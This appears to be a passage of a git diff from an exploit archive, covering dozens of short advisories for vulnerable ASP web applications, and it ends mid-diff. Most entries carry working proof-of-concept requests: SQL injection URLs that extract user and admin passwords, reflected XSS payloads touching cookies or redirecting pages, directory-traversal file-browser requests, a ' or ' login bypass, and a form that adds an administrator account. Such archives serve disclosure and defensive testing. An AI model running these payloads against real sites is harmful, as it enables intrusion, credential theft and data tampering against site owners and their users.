a/platforms/asp/webapps/31055.txt +++ b/platforms/asp/webapps/31055.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to retrieve arbitrary files in the context of This issue affects Forums 9.07, NewsPad 1.02, and Rich Text Editor 4.0; other versions may also be vulnerable. -http://www.example.com/RTE_file_browser.asp?look=&sub=\.....\\\.....\\\.....\\http://www.example.com/RTE_file_browser.asp?look=save&sub=\.....\\\.....\\\.....\\\.....\\\.....\\\ \ No newline at end of file +http://www.example.com/RTE_file_browser.asp?look=&sub=\.....\\\.....\\\.....\\http://www.example.com/RTE_file_browser.asp?look=save&sub=\.....\\\.....\\\.....\\\.....\\\.....\\\ \ No newline at end of file diff --git a/platforms/asp/webapps/31058.txt b/platforms/asp/webapps/31058.txt index 57140fe23..a08c3905b 100755 --- a/platforms/asp/webapps/31058.txt +++ b/platforms/asp/webapps/31058.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Passing the following will bypass the authentication process: -' or ' \ No newline at end of file +' or ' \ No newline at end of file diff --git a/platforms/asp/webapps/31059.txt b/platforms/asp/webapps/31059.txt index c45e79bc1..1089dfb0a 100755 --- a/platforms/asp/webapps/31059.txt +++ b/platforms/asp/webapps/31059.txt @@ -10,4 +10,4 @@ Passing: ' or ' -will bypass the authentication process. \ No newline at end of file +will bypass the authentication process. \ No newline at end of file diff --git a/platforms/asp/webapps/31070.txt b/platforms/asp/webapps/31070.txt index 980947492..2e3608a51 100755 --- a/platforms/asp/webapps/31070.txt +++ b/platforms/asp/webapps/31070.txt @@ -10,4 +10,4 @@ Passing: ' or ' -will bypass the authentication process. \ No newline at end of file +will bypass the authentication process. \ No newline at end of file diff --git a/platforms/asp/webapps/31286.txt b/platforms/asp/webapps/31286.txt index fbe0c2e8a..8ad207f28 100755 --- a/platforms/asp/webapps/31286.txt +++ b/platforms/asp/webapps/31286.txt @@ -4,4 +4,4 @@ Citrix MetaFrame Web Manager is prone to a cross-site scripting vulnerability be An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/Citrix/MetaFrameXP/default/login.asp?NFuse_LogoutId=Off&NFuse_MessageType=warning&NFuse_Message=%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/Citrix/MetaFrameXP/default/login.asp?NFuse_LogoutId=Off&NFuse_MessageType=warning&NFuse_Message=%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/31314.txt b/platforms/asp/webapps/31314.txt index d62751d4a..cba398a94 100755 --- a/platforms/asp/webapps/31314.txt +++ b/platforms/asp/webapps/31314.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br AuthentiX 6.3b1 Trial Version is vulnerable; other versions may also be affected. -https://www.example.com/aspAdmin/editUser.asp?username=%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://www.example2.com/%22%3E \ No newline at end of file +https://www.example.com/aspAdmin/editUser.asp?username=%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://www.example2.com/%22%3E \ No newline at end of file diff --git a/platforms/asp/webapps/31404.txt b/platforms/asp/webapps/31404.txt index f65da08a5..6e1b022f9 100755 --- a/platforms/asp/webapps/31404.txt +++ b/platforms/asp/webapps/31404.txt @@ -5,4 +5,4 @@ Virtual Support Office XP (VSO-XP) is prone to an SQL-injection vulnerability be Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/MyIssuesView.asp?Issue_ID=-1%20having%201=1-- -http://www.example.com/MyIssuesView.asp?Issue_ID=-1 update QIssues set column='hacked';-- \ No newline at end of file +http://www.example.com/MyIssuesView.asp?Issue_ID=-1 update QIssues set column='hacked';-- \ No newline at end of file diff --git a/platforms/asp/webapps/31413.txt b/platforms/asp/webapps/31413.txt index b9e4e7e34..63cd2c772 100755 --- a/platforms/asp/webapps/31413.txt +++ b/platforms/asp/webapps/31413.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Imperva SecureSphere 5.0 MX Management Server is vulnerable. -http://www.example.con/%20<script>alert(window.location=(window.location+"a").slice(0,48)+"view=activateSettingObj&popUpViewRequest=activatePopup&view_func=frameset&view_module=activate_setting");</script>/*.aspx \ No newline at end of file +http://www.example.con/%20<script>alert(window.location=(window.location+"a").slice(0,48)+"view=activateSettingObj&popUpViewRequest=activatePopup&view_func=frameset&view_module=activate_setting");</script>/*.aspx \ No newline at end of file diff --git a/platforms/asp/webapps/31442.txt b/platforms/asp/webapps/31442.txt index da578ec0c..786467638 100755 --- a/platforms/asp/webapps/31442.txt +++ b/platforms/asp/webapps/31442.txt @@ -4,4 +4,4 @@ PortalApp is prone to an SQL-injection vulnerability because it fails to suffici Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/path/links.asp?CatId=-99999%20UNION%20SELECT%20null,accesslevel,null,null,user_name,%205%20,password,null%20FROM%20Users \ No newline at end of file +http://www.example.com/path/links.asp?CatId=-99999%20UNION%20SELECT%20null,accesslevel,null,null,user_name,%205%20,password,null%20FROM%20Users \ No newline at end of file diff --git a/platforms/asp/webapps/31463.txt b/platforms/asp/webapps/31463.txt index baf2d4238..375b72027 100755 --- a/platforms/asp/webapps/31463.txt +++ b/platforms/asp/webapps/31463.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://www.example.com/content_by_cat.asp?contentid=99999999&catid=-99887766+UNION+SELECT+0,null,password,3,accesslevel,5,null,7,null,user_name+from+users -http://www.example.com/content_by_cat.asp?contentid=-99999999&catid=-99887766+union+select+0,null,password,3,accesslevel,5,null,7,8,user_name+from+users \ No newline at end of file +http://www.example.com/content_by_cat.asp?contentid=-99999999&catid=-99887766+union+select+0,null,password,3,accesslevel,5,null,7,8,user_name+from+users \ No newline at end of file diff --git a/platforms/asp/webapps/31547.txt b/platforms/asp/webapps/31547.txt index f76b26074..a779d79b9 100755 --- a/platforms/asp/webapps/31547.txt +++ b/platforms/asp/webapps/31547.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br DigiDomain 2.2 is vulnerable; other versions may also be affected. -http://www.www.example.com/lookup/suggest_result.asp?domain=.com&tld=&user=&selecte=1&word1=[XSS]&word2=[XSS] \ No newline at end of file +http://www.www.example.com/lookup/suggest_result.asp?domain=.com&tld=&user=&selecte=1&word1=[XSS]&word2=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/31786.txt b/platforms/asp/webapps/31786.txt index 0a3ae717b..8959a8e8d 100755 --- a/platforms/asp/webapps/31786.txt +++ b/platforms/asp/webapps/31786.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Cisco BBSM 5.3 is vulnerable; other versions may also be affected. -http://www.example.com/ekgnkm/AccessCodeStart.asp?msg=%3Cscript%3Ealert(%22XSS%22);%3C/script%3E \ No newline at end of file +http://www.example.com/ekgnkm/AccessCodeStart.asp?msg=%3Cscript%3Ealert(%22XSS%22);%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/31797.txt b/platforms/asp/webapps/31797.txt index d41ad1af6..821ec675d 100755 --- a/platforms/asp/webapps/31797.txt +++ b/platforms/asp/webapps/31797.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Philboard 0.5 is vulnerable; other versions may also be affected. -http://www.example.com:2222/lab/philboard_v5/W1L3D4_foruma_yeni_konu_ac.asp?forumid=1+union+select+0,1,(username),(password),1,1+from+users \ No newline at end of file +http://www.example.com:2222/lab/philboard_v5/W1L3D4_foruma_yeni_konu_ac.asp?forumid=1+union+select+0,1,(username),(password),1,1+from+users \ No newline at end of file diff --git a/platforms/asp/webapps/31812.txt b/platforms/asp/webapps/31812.txt index 7c6aeadd8..68f6c7ab7 100755 --- a/platforms/asp/webapps/31812.txt +++ b/platforms/asp/webapps/31812.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc DizaynPlus Nobetci Eczane Takip 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/lab/nobetcideczane/ayrinti.asp?anahtar=1+union+select+0,1,2,(admin),sifre,5+from+yetkili \ No newline at end of file +http://www.example.com/lab/nobetcideczane/ayrinti.asp?anahtar=1+union+select+0,1,2,(admin),sifre,5+from+yetkili \ No newline at end of file diff --git a/platforms/asp/webapps/31843.txt b/platforms/asp/webapps/31843.txt index cadc39728..2ce0257f5 100755 --- a/platforms/asp/webapps/31843.txt +++ b/platforms/asp/webapps/31843.txt @@ -5,4 +5,4 @@ Excuse Online is prone to an SQL-injection vulnerability because it fails to suf Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+???+like+'%25 -http://www.example.com/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+??+like+'%25 \ No newline at end of file +http://www.example.com/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+??+like+'%25 \ No newline at end of file diff --git a/platforms/asp/webapps/31854.html b/platforms/asp/webapps/31854.html index 8d0eac738..371532b98 100755 --- a/platforms/asp/webapps/31854.html +++ b/platforms/asp/webapps/31854.html @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to gain unauthorized administrative a The Campus Request Repairs System 1.2 is vulnerable; other versions may also be vulnerable. -<form action="http://www.example.com/repair/pwd/sentout.asp" method="post"> user: <input type="text" name="pID" value="adm2"><br> pass: <input type="text" name="Pwd" value="123456"> <input type="hidden" name="pFrom" value="N/A"> <input type="hidden" name="pName" value="N/A"> <input type="hidden" name="pTag" value="z,repair,leader"> <input type="submit" value="add"> </form> \ No newline at end of file +<form action="http://www.example.com/repair/pwd/sentout.asp" method="post"> user: <input type="text" name="pID" value="adm2"><br> pass: <input type="text" name="Pwd" value="123456"> <input type="hidden" name="pFrom" value="N/A"> <input type="hidden" name="pName" value="N/A"> <input type="hidden" name="pTag" value="z,repair,leader"> <input type="submit" value="add"> </form> \ No newline at end of file diff --git a/platforms/asp/webapps/31859.txt b/platforms/asp/webapps/31859.txt index d1f79d553..db8c32cfe 100755 --- a/platforms/asp/webapps/31859.txt +++ b/platforms/asp/webapps/31859.txt @@ -9,4 +9,4 @@ JustPORTAL 1.0 is vulnerable; other versions may also be affected. http://www.example.com/lab/JustPORTALv1.0/panel/videogit.asp?site=1+union+select+0,(sifre),kullaniciadi,3,4,5+from+uyeler http://www.example.com/lab/JustPORTALv1.0/panel/resimgit.asp?site=1+union+select+0,sifre,kullaniciadi,3,4+from+uyeler http://www.example.com/lab/JustPORTALv1.0/panel/menugit.asp?site=1+union+select+0,sifre,kullaniciadi+from+uyeler -http://www.example.com/lab/JustPORTALv1.0/panel/habergit.asp?site=1+union+select+0,sifre,kullaniciadi,3,4+from+uyeler \ No newline at end of file +http://www.example.com/lab/JustPORTALv1.0/panel/habergit.asp?site=1+union+select+0,sifre,kullaniciadi,3,4+from+uyeler \ No newline at end of file diff --git a/platforms/asp/webapps/31860.txt b/platforms/asp/webapps/31860.txt index 2e83baa68..ee7975770 100755 --- a/platforms/asp/webapps/31860.txt +++ b/platforms/asp/webapps/31860.txt @@ -24,4 +24,4 @@ http://www.example.com/portal/yonetici/video.asp?islem=videokategorisiduzenle&id http://www.example.com/portal/yonetici/video.asp?islem=videokategorisiduzenle&id=1+union+select+0,kadi+from+uyeler http://www.example.com/portal/yonetici/yazi.asp?islem=yazialtkategoriduzenle&id=1+union+select+0,sifre,2,3+from+uyeler http://www.example.com/portal/yonetici/yazi.asp?islem=yazialtkategoriduzenle&id=1+union+select+0,kadi,2,3+from+uyeler -http://www.example.com/portal/yonetici/uyeler.asp?islem=uyebilgi&id=1+union+select+0,1,2,3,4,sifre,kadi,7,8,1,1,1,1,1,1,9,1,0,1,1,1,1,1,1+from+uyeler \ No newline at end of file +http://www.example.com/portal/yonetici/uyeler.asp?islem=uyebilgi&id=1+union+select+0,1,2,3,4,sifre,kadi,7,8,1,1,1,1,1,1,9,1,0,1,1,1,1,1,1+from+uyeler \ No newline at end of file diff --git a/platforms/asp/webapps/31865.txt b/platforms/asp/webapps/31865.txt index 3675da807..e8b6fd012 100755 --- a/platforms/asp/webapps/31865.txt +++ b/platforms/asp/webapps/31865.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow DotNetNuke 4.8.3 is vulnerable; other versions may also be affected. -http://www.example.com/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx http://www.example.com/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive'; \ No newline at end of file +http://www.example.com/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx http://www.example.com/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive'; \ No newline at end of file diff --git a/platforms/asp/webapps/31869.txt b/platforms/asp/webapps/31869.txt index 53b82d77e..137e7893a 100755 --- a/platforms/asp/webapps/31869.txt +++ b/platforms/asp/webapps/31869.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc i-pos Storefront 1.3 Beta is vulnerable; other versions may also be affected. -http://www.example.com/path/index.asp?item=-50+union+select+0,adminid,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+settings \ No newline at end of file +http://www.example.com/path/index.asp?item=-50+union+select+0,adminid,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+settings \ No newline at end of file diff --git a/platforms/asp/webapps/31871.txt b/platforms/asp/webapps/31871.txt index 469054d1f..e7aaa4951 100755 --- a/platforms/asp/webapps/31871.txt +++ b/platforms/asp/webapps/31871.txt @@ -10,4 +10,4 @@ http://www.example.com/tecard/admin/card.asp?gorev=duzenle&id=99999+union+select http://www.example.com/lab/tecard/admin/midi.asp?gorev=duzenle&id=1+union+select+0,1,kullanici_adi,3,4,sifre+from+editor http://www.example.com/lab/tecard/admin/cat.asp?gorev=duzenle&id=1+union+select+kullanici_adi,1,sifre,3,4,5+from+editor http://www.example.com/lab/tecard/admin/fon.asp?gorev=duzenle&id=1+union+select+0,sifre,2+from+editor -http://www.example.com/lab/tecard/admin/fon.asp?gorev=duzenle&id=1+union+select+0,kullanici_adi,2+from+editor \ No newline at end of file +http://www.example.com/lab/tecard/admin/fon.asp?gorev=duzenle&id=1+union+select+0,kullanici_adi,2+from+editor \ No newline at end of file diff --git a/platforms/asp/webapps/31891.txt b/platforms/asp/webapps/31891.txt index e2989728e..b810f3620 100755 --- a/platforms/asp/webapps/31891.txt +++ b/platforms/asp/webapps/31891.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Real Estate Website 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/PATH/location.asp?name="><script>alert('JosS')</script> http://www.example.com/PATH/location.asp?name=JosS&location=IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'done')%00 \ No newline at end of file +http://www.example.com/PATH/location.asp?name="><script>alert('JosS')</script> http://www.example.com/PATH/location.asp?name=JosS&location=IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'done')%00 \ No newline at end of file diff --git a/platforms/asp/webapps/32111.txt b/platforms/asp/webapps/32111.txt index 9f7bb51e9..dfe425a6f 100755 --- a/platforms/asp/webapps/32111.txt +++ b/platforms/asp/webapps/32111.txt @@ -4,4 +4,4 @@ Pre Survey Generator is prone to an SQL-injection vulnerability because it fails A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/poll/default.asp?catid=1+union+select+0,password+from+users \ No newline at end of file +http://www.example.com/poll/default.asp?catid=1+union+select+0,password+from+users \ No newline at end of file diff --git a/platforms/asp/webapps/32157.txt b/platforms/asp/webapps/32157.txt index 8f016ac9a..91e849787 100755 --- a/platforms/asp/webapps/32157.txt +++ b/platforms/asp/webapps/32157.txt @@ -11,7 +11,7 @@ This vulnerability is an unprotected page on the site where you can view all current users and usernames. To find out if a Kentico CMS is vulnerable go to -http://server/CMSModules/Messaging/CMSPages/PublicMessageUserSelector.aspx +http://site.com/CMSModules/Messaging/CMSPages/PublicMessageUserSelector.aspx assuming that the Kentico CMS was installed to the root folder in the server. diff --git a/platforms/asp/webapps/32255.txt b/platforms/asp/webapps/32255.txt index 6f751e1b3..132a56098 100755 --- a/platforms/asp/webapps/32255.txt +++ b/platforms/asp/webapps/32255.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc fipsCMS 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/fipsCMS/forum/neu.asp?kat=1+union+select+0,pw_admin+from+config \ No newline at end of file +http://www.example.com/fipsCMS/forum/neu.asp?kat=1+union+select+0,pw_admin+from+config \ No newline at end of file diff --git a/platforms/asp/webapps/32278.txt b/platforms/asp/webapps/32278.txt index 370adad31..7b79227a6 100755 --- a/platforms/asp/webapps/32278.txt +++ b/platforms/asp/webapps/32278.txt @@ -5,4 +5,4 @@ K Web CMS is prone to an SQL-injection vulnerability because it fails to suffici Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/sayfala.asp?id=96+union+select+1,2,3,4,5,user_name,7+from+admin -http://www.example.com/sayfala.asp?id=96+union+select+1,2,3,4,5,pass,7+from+admin \ No newline at end of file +http://www.example.com/sayfala.asp?id=96+union+select+1,2,3,4,5,pass,7+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/32297.txt b/platforms/asp/webapps/32297.txt index 69d5c81c6..86d503a2a 100755 --- a/platforms/asp/webapps/32297.txt +++ b/platforms/asp/webapps/32297.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Smart Survey 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/surveyresults.asp?folder=/123adminxyz/SmartSurve/&title=example.com&sid=[XSS] \ No newline at end of file +http://www.example.com/surveyresults.asp?folder=/123adminxyz/SmartSurve/&title=example.com&sid=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/32300.txt b/platforms/asp/webapps/32300.txt index 842e8e11d..87b4b4c1e 100755 --- a/platforms/asp/webapps/32300.txt +++ b/platforms/asp/webapps/32300.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ASP Search Engine 1.5.6 is vulnerable; other versions may also be affected. -http://www.example.com/resource/searchdemo/search.asp?look_for="><script>alert("JoCk3r")</script> \ No newline at end of file +http://www.example.com/resource/searchdemo/search.asp?look_for="><script>alert("JoCk3r")</script> \ No newline at end of file diff --git a/platforms/asp/webapps/3233.txt b/platforms/asp/webapps/3233.txt index c88b9ceb0..c5790e620 100755 --- a/platforms/asp/webapps/3233.txt +++ b/platforms/asp/webapps/3233.txt @@ -6,7 +6,7 @@ ############################################################### #Download Link Of Fullaspsite Asp Hosting Sitesi (tr) : http://www.aspindir.com/Goster/4383 -#Demo : http://aspsiteler.fullaspserver/hosting +#Demo : http://aspsiteler.fullaspsite.com/hosting #Exploit; #Admin Nick, Passport; diff --git a/platforms/asp/webapps/32394.txt b/platforms/asp/webapps/32394.txt index fa2f5f00c..e97f1ea13 100755 --- a/platforms/asp/webapps/32394.txt +++ b/platforms/asp/webapps/32394.txt @@ -4,4 +4,4 @@ Sama Educational Management System is prone to a cross-site scripting vulnerabil An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/Error.asp?Message=XSS \ No newline at end of file +http://www.example.com/Error.asp?Message=XSS \ No newline at end of file diff --git a/platforms/asp/webapps/32401.txt b/platforms/asp/webapps/32401.txt index fabcb0f3e..fd6e269fb 100755 --- a/platforms/asp/webapps/32401.txt +++ b/platforms/asp/webapps/32401.txt @@ -8,4 +8,4 @@ rgb72 WCMS 1.0b is vulnerable; other versions may also be affected. http://www.example.com/[path]/news_detail.asp?id=1+union+select+1,2,3,f_user,f_password,6,7,8+from+upass%00 -http://www.example.com/[path]/news_detail.asp?id=1+union+select+1,2,f_user,4,5,f_password,7,8,9,10,11,12,13+from+upass%00 \ No newline at end of file +http://www.example.com/[path]/news_detail.asp?id=1+union+select+1,2,f_user,4,5,f_password,7,8,9,10,11,12,13+from+upass%00 \ No newline at end of file diff --git a/platforms/asp/webapps/32412.txt b/platforms/asp/webapps/32412.txt index 59ff05b98..5ba6a1164 100755 --- a/platforms/asp/webapps/32412.txt +++ b/platforms/asp/webapps/32412.txt @@ -8,4 +8,4 @@ Exploiting the issue may allow the attacker to obtain sensitive information that Omnicom Content Platform 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/ocp/admin/fileKontrola/browser.asp?root=/ \ No newline at end of file +http://www.example.com/ocp/admin/fileKontrola/browser.asp?root=/ \ No newline at end of file diff --git a/platforms/asp/webapps/32485.txt b/platforms/asp/webapps/32485.txt index 96d504125..67284b78d 100755 --- a/platforms/asp/webapps/32485.txt +++ b/platforms/asp/webapps/32485.txt @@ -4,4 +4,4 @@ ASP Indir Iltaweb Alisveris Sistemi is prone to an SQL-injection vulnerability b A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/urunler.asp?catno=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from users \ No newline at end of file +http://www.example.com/urunler.asp?catno=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from users \ No newline at end of file diff --git a/platforms/asp/webapps/32498.txt b/platforms/asp/webapps/32498.txt index 241e46bea..fac30d7dd 100755 --- a/platforms/asp/webapps/32498.txt +++ b/platforms/asp/webapps/32498.txt @@ -4,4 +4,4 @@ Dizi Portali is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/path/diziler.asp?id=[Sql Injection] \ No newline at end of file +http://www.example.com/path/diziler.asp?id=[Sql Injection] \ No newline at end of file diff --git a/platforms/asp/webapps/32500.txt b/platforms/asp/webapps/32500.txt index 976e78e0f..e0db9a8dd 100755 --- a/platforms/asp/webapps/32500.txt +++ b/platforms/asp/webapps/32500.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Bahar Download Script 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/path/aspkat.asp?kid=-2%20union%20select%200,kullanici,parola,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin%20where%20id=1 \ No newline at end of file +http://www.example.com/path/aspkat.asp?kid=-2%20union%20select%200,kullanici,parola,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin%20where%20id=1 \ No newline at end of file diff --git a/platforms/asp/webapps/32549.txt b/platforms/asp/webapps/32549.txt index 4e5b7b1a3..148379dfe 100755 --- a/platforms/asp/webapps/32549.txt +++ b/platforms/asp/webapps/32549.txt @@ -4,4 +4,4 @@ Dorsa CMS is prone to a cross-site scripting vulnerability because it fails to s An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/Default_.aspx?lang=1&sub=5&Page_=search&order=search&search=%27%3E%3Cscript%3Ealert%28%27Pouya_Server%27%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/Default_.aspx?lang=1&sub=5&Page_=search&order=search&search=%27%3E%3Cscript%3Ealert%28%27Pouya_Server%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/asp/webapps/32577.txt b/platforms/asp/webapps/32577.txt index d7b6f983e..249550a54 100755 --- a/platforms/asp/webapps/32577.txt +++ b/platforms/asp/webapps/32577.txt @@ -4,4 +4,4 @@ Dizi Portali is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/film.asp?film=1+union+select+0,1,sifre,3,4,5+from+ayarlar \ No newline at end of file +http://www.example.com/film.asp?film=1+union+select+0,1,sifre,3,4,5+from+ayarlar \ No newline at end of file diff --git a/platforms/asp/webapps/32602.txt b/platforms/asp/webapps/32602.txt index 85af1994e..21cdc95c0 100755 --- a/platforms/asp/webapps/32602.txt +++ b/platforms/asp/webapps/32602.txt @@ -9,4 +9,4 @@ The following applications are vulnerable: Ocean12 FAQ Manager Pro Ocean12 Poll Manager Pro -http://www.example.com/login.asp?Admin_ID=[SQL]&Password=pass \ No newline at end of file +http://www.example.com/login.asp?Admin_ID=[SQL]&Password=pass \ No newline at end of file diff --git a/platforms/asp/webapps/32603.txt b/platforms/asp/webapps/32603.txt index 3d09d8705..ce1aa199f 100755 --- a/platforms/asp/webapps/32603.txt +++ b/platforms/asp/webapps/32603.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Ocean12 Mailing List Manager Gold 2.04 is vulnerable; other versions may also be affected. -http://www.example.com/default.asp?Page=2&Email=[SQL]&Password=pass&Password2=pass&FirstName=name&LastName=lastname&MailType=0 \ No newline at end of file +http://www.example.com/default.asp?Page=2&Email=[SQL]&Password=pass&Password2=pass&FirstName=name&LastName=lastname&MailType=0 \ No newline at end of file diff --git a/platforms/asp/webapps/32609.txt b/platforms/asp/webapps/32609.txt index bae427db8..7a67a5054 100755 --- a/platforms/asp/webapps/32609.txt +++ b/platforms/asp/webapps/32609.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc All versions are considered vulnerable. -http://www.example.com/[Path]/home/detailad.asp?siteid=[SQL] \ No newline at end of file +http://www.example.com/[Path]/home/detailad.asp?siteid=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/32610.txt b/platforms/asp/webapps/32610.txt index 3939da9fd..74279fcc9 100755 --- a/platforms/asp/webapps/32610.txt +++ b/platforms/asp/webapps/32610.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow All versions are considered vulnerable. -http://www.example.com/[Path]/home/signup.asp?full_name=pouya.s3rver@gmail.com&email=111-222-1933email@address.tst&pass=111-222-1933email@address.tst&address=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&phone=111-222-1933email@address.com&state=0&hide_email=on&url_add=111-222-1933email@address.tst&Submit=SignUp&addit=start \ No newline at end of file +http://www.example.com/[Path]/home/signup.asp?full_name=pouya.s3rver@gmail.com&email=111-222-1933email@address.tst&pass=111-222-1933email@address.tst&address=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&phone=111-222-1933email@address.com&state=0&hide_email=on&url_add=111-222-1933email@address.tst&Submit=SignUp&addit=start \ No newline at end of file diff --git a/platforms/asp/webapps/32611.txt b/platforms/asp/webapps/32611.txt index dcc83ed75..166b9509d 100755 --- a/platforms/asp/webapps/32611.txt +++ b/platforms/asp/webapps/32611.txt @@ -4,4 +4,4 @@ CodeToad ASP Shopping Cart Script is prone to a cross-site scripting vulnerabili An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/?>"'><ScRiPt>alert(1369)</ScRiPt> \ No newline at end of file +http://www.example.com/?>"'><ScRiPt>alert(1369)</ScRiPt> \ No newline at end of file diff --git a/platforms/asp/webapps/32626.txt b/platforms/asp/webapps/32626.txt index fffc4e49f..01eb2c86e 100755 --- a/platforms/asp/webapps/32626.txt +++ b/platforms/asp/webapps/32626.txt @@ -4,4 +4,4 @@ ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-s Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[Path]/messages.asp?forum_id=3&message_id=[SQL] \ No newline at end of file +http://www.example.com/[Path]/messages.asp?forum_id=3&message_id=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/32629.txt b/platforms/asp/webapps/32629.txt index 939ca6694..e7fc4fa5f 100755 --- a/platforms/asp/webapps/32629.txt +++ b/platforms/asp/webapps/32629.txt @@ -4,4 +4,4 @@ ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-s Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[Path]/default.asp?>"'><ScRiPt>alert(1369)</ScRiPt> \ No newline at end of file +http://www.example.com/[Path]/default.asp?>"'><ScRiPt>alert(1369)</ScRiPt> \ No newline at end of file diff --git a/platforms/asp/webapps/32630.txt b/platforms/asp/webapps/32630.txt index 7fbf51cce..4ba91034e 100755 --- a/platforms/asp/webapps/32630.txt +++ b/platforms/asp/webapps/32630.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow All versions are considered vulnerable. -http://www.example.com/[Path]/Employee/emp_login.asp?msg=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%281369%29%3B%22%3E \ No newline at end of file +http://www.example.com/[Path]/Employee/emp_login.asp?msg=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%281369%29%3B%22%3E \ No newline at end of file diff --git a/platforms/asp/webapps/32635.txt b/platforms/asp/webapps/32635.txt index a66905f2f..713d7897c 100755 --- a/platforms/asp/webapps/32635.txt +++ 